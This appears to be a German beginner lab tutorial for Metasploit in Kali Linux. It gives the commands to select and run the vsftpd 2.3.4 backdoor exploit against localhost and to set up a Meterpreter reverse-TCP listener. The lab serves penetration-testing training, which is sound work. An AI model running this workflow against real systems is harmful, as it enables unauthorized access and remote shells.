Kali-Exploitation mit Metasploit

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie die Grundlagen von Penetrationstests mit Kali Linux in einer kontrollierten Umgebung auf der LabEx-VM kennen. Der Fokus liegt auf der Nutzung des leistungsstarken Metasploit Frameworks, um Schwachstellen zu identifizieren, Payloads zu konfigurieren, Exploits auszuführen und über eine Meterpreter-Sitzung mit kompromittierten Systemen zu interagieren. Dieses Lab wurde für Anfänger konzipiert und führt Sie Schritt für Schritt durch grundlegende Cybersicherheitstechniken in einer sicheren und strukturierten Umgebung. Wenn Sie das Terminal öffnen, werden Sie automatisch mit der Shell des Kali Linux-Containers verbunden und können sofort mit der Praxis beginnen, ohne den Container manuell starten oder betreten zu müssen.

Starten des Metasploit Frameworks

Im ersten Schritt starten Sie das Metasploit Framework, ein zentrales Werkzeug für Penetrationstests in Kali Linux. Dieser Schritt ist essenziell, da er die Umgebung für die Identifizierung und Ausnutzung von Schwachstellen in den späteren Schritten vorbereitet.

Wenn Sie das Terminal in der LabEx-VM öffnen, werden Sie automatisch mit der Shell des Kali Linux-Containers verbunden. Sie müssen den Container nicht manuell starten oder die Shell betreten; die Umgebung ist bereits für Sie konfiguriert.

Bevor Sie Metasploit verwenden, müssen Sie sicherstellen, dass es im Kali Linux-Container installiert ist. Aktualisieren Sie zunächst die Paketliste, indem Sie den folgenden Befehl im Terminal eingeben und Enter drücken:

apt update

Installieren Sie anschließend das Metasploit Framework. Diese Installation kann einige Minuten dauern, bitte warten Sie, bis sie abgeschlossen ist.

apt install -y metasploit-framework

Sobald die Installation abgeschlossen ist, starten Sie die Metasploit-Konsole, indem Sie den folgenden Befehl eingeben und Enter drücken:

msfconsole

Beim ersten Ausführen dieses Befehls kann die Initialisierung einen Moment dauern, da die Datenbank eingerichtet und Module geladen werden. Sie sehen ein ASCII-Art-Banner und eine Eingabeaufforderung, die in etwa so aussieht, wenn Metasploit startet:

Metasploit Framework
...
msf6 >

Die Eingabeaufforderung msf6 > zeigt an, dass Sie sich nun in der Metasploit-Konsole befinden und bereit sind, mit dem Framework zu interagieren. Beenden Sie die Konsole nicht, da Sie sie im nächsten Schritt benötigen, um nach einem Exploit zu suchen und diesen auszuwählen.

Suchen und Auswählen eines Exploits

Nachdem Sie das Metasploit Framework gestartet haben, besteht der nächste Schritt darin, einen Exploit zu suchen und auszuwählen. Ein Exploit ist ein Programmcode, der eine Software-Schwachstelle ausnutzt, um ein unbeabsichtigtes Verhalten hervorzurufen, wie beispielsweise den unbefugten Zugriff auf ein System.

Da Sie sich bereits in der Metasploit-Konsole befinden (mit der msf6 > Eingabeaufforderung), suchen wir nach einem Exploit für FTP (File Transfer Protocol), einen gängigen Dienst, der anfällig sein kann. Geben Sie den folgenden Befehl ein und drücken Sie Enter:

search ftp

Dieser Befehl listet Exploits und Hilfsmodule (Auxiliary Modules) auf, die mit FTP in Verbindung stehen. Die Ausgabe zeigt eine Tabelle der passenden Module.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

Für dieses Lab verwenden wir den Exploit vsftpd_234_backdoor. Um ihn auszuwählen, verwenden Sie den Befehl use, gefolgt vom Namen des Exploits.

use exploit/unix/ftp/vsftpd_234_backdoor

Nachdem Sie den Exploit ausgewählt haben, ändert sich Ihre Eingabeaufforderung und zeigt den Namen des Exploits an, was bedeutet, dass er nun das aktive Modul ist.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Um detaillierte Informationen über den ausgewählten Exploit zu erhalten, einschließlich seiner Optionen und Anforderungen, geben Sie den Befehl info ein.

info

Die Ausgabe liefert Details wie Plattform, Architektur und verfügbare Ziele.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Sie haben nun erfolgreich einen Exploit ausgewählt. Im nächsten Schritt konfigurieren Sie eine Payload für diesen Exploit.

Hinweis: Labby kann die Vorgänge in der msf-Shell nicht erfassen, daher werden die folgenden Schritte nicht verifiziert.

Konfigurieren des Exploits und der Payload

Nachdem der Exploit ausgewählt ist, müssen Sie nun dessen Optionen konfigurieren und das Verhalten der Payload überprüfen. Eine Payload ist der Code, der auf dem Zielsystem ausgeführt wird, nachdem ein Exploit erfolgreich war. In aktuellen Metasploit-Versionen läuft dieses Modul oft mit seinem Standardverhalten und akzeptiert möglicherweise keine manuelle Payload-Auswahl.

Wichtig: Bevor Sie eine Payload festlegen, ist es entscheidend zu prüfen, welche Payloads mit Ihrem ausgewählten Exploit kompatibel sind. Verwenden Sie den folgenden Befehl, um alle kompatiblen Payloads anzuzeigen:

show payloads

Dieser Befehl zeigt Payloads an, die mit vsftpd_234_backdoor kompatibel sind. In einigen Metasploit-Versionen erscheint cmd/unix/interact; in anderen fehlt es möglicherweise oder wird als ungültig behandelt.

set payload cmd/unix/interact

Falls dieser Befehl einen Fehler wie The value specified is not valid zurückgibt, fahren Sie fort, ohne eine Payload festzulegen, und behalten Sie die Standardeinstellungen des Moduls bei.

Als Nächstes müssen Sie die Exploit-Optionen konfigurieren. Die Option RHOST (Remote Host) gibt die IP-Adresse der Zielmaschine an. Für diese Simulation setzen wir sie auf 127.0.0.1.

set RHOST 127.0.0.1

Wichtiger Hinweis: Für diesen Exploit-Workflow müssen Sie LHOST oder LPORT nicht festlegen, bevor Sie den Exploit ausführen.

Um alle Einstellungen zu überprüfen, verwenden Sie den Befehl show options.

show options

Dies zeigt eine Tabelle der Optionen für den Exploit an. Überprüfen Sie, ob RHOST korrekt gesetzt ist.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Ihr Exploit und Ihre Payload sind nun konfiguriert und bereit für die Ausführung im nächsten Schritt.

Ausführen des Exploits

Nachdem Sie den Exploit und die Payload konfiguriert haben, sind Sie nun bereit, ihn auszuführen. Der Befehl exploit weist Metasploit an, den Angriff gegen das angegebene Ziel (RHOST) zu starten.

Geben Sie in Ihrer Metasploit-Konsole einfach den folgenden Befehl ein und drücken Sie Enter:

exploit

Metasploit wird versuchen, den Exploit auszuführen. Da in dieser Lab-Umgebung kein tatsächlich verwundbarer VSFTPD-Dienst auf 127.0.0.1 läuft, wird der Exploit fehlschlagen. Dies ist zu erwarten und demonstriert den Prozess des Startens eines Angriffs.

Die Ausgabe zeigt, dass Metasploit versucht hat, eine Verbindung zum Ziel-FTP-Dienst herzustellen, dies jedoch fehlgeschlagen ist, da der Dienst nicht läuft:

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

Hinweis: Dieser Exploit-Workflow erfordert nicht das vorherige Starten eines Reverse-Shell-Listeners. Wäre das Ziel verwundbar und erreichbar, würde Metasploit versuchen, eine interaktive Befehlssitzung zu öffnen.

Die Meldung Exploit completed, but no session was created bestätigt das Fehlschlagen. In einem erfolgreichen Szenario mit einem verwundbaren VSFTPD-Dienst würde dies eine interaktive Befehlsshell-Sitzung aufbauen, die es Ihnen ermöglicht, Befehle direkt auf dem Zielsystem auszuführen. Dieser Schritt vermittelt Ihnen den grundlegenden Befehl zum Starten eines Exploits, was einen Kernbestandteil des Penetrationstest-Workflows darstellt.

Einrichten eines Meterpreter-Listeners

In diesem letzten Schritt lernen Sie, wie Sie einen Listener für eine Meterpreter-Payload einrichten. Meterpreter ist eine fortschrittliche, funktionsreiche Payload, die eine interaktive Shell auf dem Zielsystem bereitstellt. Anstatt einen Exploit zu starten, verwenden Sie das Modul exploit/multi/handler, um auf eingehende Verbindungen zu warten. Dies ist nützlich, wenn ein Exploit auf anderem Wege (z. B. über eine schädliche Datei) übermittelt wird und Sie die Reverse-Verbindung abfangen müssen.

Wechseln Sie zunächst zum Modul multi/handler.

use exploit/multi/handler

Ihre Eingabeaufforderung ändert sich, um das neue Modul widerzuspiegeln.

msf6 exploit(multi/handler) >

Legen Sie als Nächstes eine Meterpreter-Payload fest. Wir verwenden eine, die für Linux-Systeme entwickelt wurde. Der Payload-Name linux/x86/meterpreter/reverse_tcp folgt einer logischen Struktur: <Plattform>/<Architektur>/<Typ>/<Protokoll>. Er spezifiziert eine Linux-Plattform, x86-Architektur, einen Meterpreter-Payload-Typ und ein Reverse-TCP-Verbindungsprotokoll.

set payload linux/x86/meterpreter/reverse_tcp

Konfigurieren Sie nun die Listener-Optionen LHOST und LPORT, genau wie Sie es zuvor getan haben.

set LHOST 127.0.0.1

Hinweis: Möglicherweise sehen Sie eine Warnmeldung bezüglich der Bindung an eine Loopback-Adresse. Dies ist normal, wenn Sie localhost (127.0.0.1) verwenden, und kann für dieses Lab getrost ignoriert werden.

set LPORT 4444

Starten Sie schließlich den Listener mit dem Befehl exploit.

exploit

Metasploit startet einen Listener auf der angegebenen IP und dem Port und wartet darauf, dass sich eine Meterpreter-Sitzung verbindet.

[*] Started reverse TCP handler on 127.0.0.1:4444

Die Konsole bleibt aktiv und wartet auf eine Verbindung. In einem realen Szenario würde, wenn eine Zielmaschine die entsprechende Meterpreter-Payload ausführt, hier eine Sitzung aufgebaut werden. Da sich in diesem Lab kein Ziel verbinden wird, können Sie den Listener durch Drücken von Ctrl + C stoppen.

Um die Metasploit-Konsole zu verlassen, geben Sie exit ein und drücken Sie Enter.

Zusammenfassung

In diesem Lab haben Sie die grundlegenden Schritte von Penetrationstests mit Kali Linux und dem Metasploit Framework kennengelernt. Sie haben mit dem Starten von Metasploit begonnen, nach einem Exploit gesucht und diesen ausgewählt, die Kompatibilität der Payload überprüft, Exploit-Optionen konfiguriert und den Angriff in einer simulierten Umgebung ausgeführt. Sie haben außerdem gelernt, wie man einen eigenständigen Listener für eine fortschrittliche Meterpreter-Payload einrichtet. Diese Schritte bieten eine praktische Einführung in den Kern-Workflow der Identifizierung von Schwachstellen, der Vorbereitung von Payloads und dem Verständnis des Exploitation-Prozesses. Durch diesen strukturierten Ansatz haben Sie praktische Erfahrungen mit essenziellen Cybersicherheits-Tools und -Techniken gesammelt.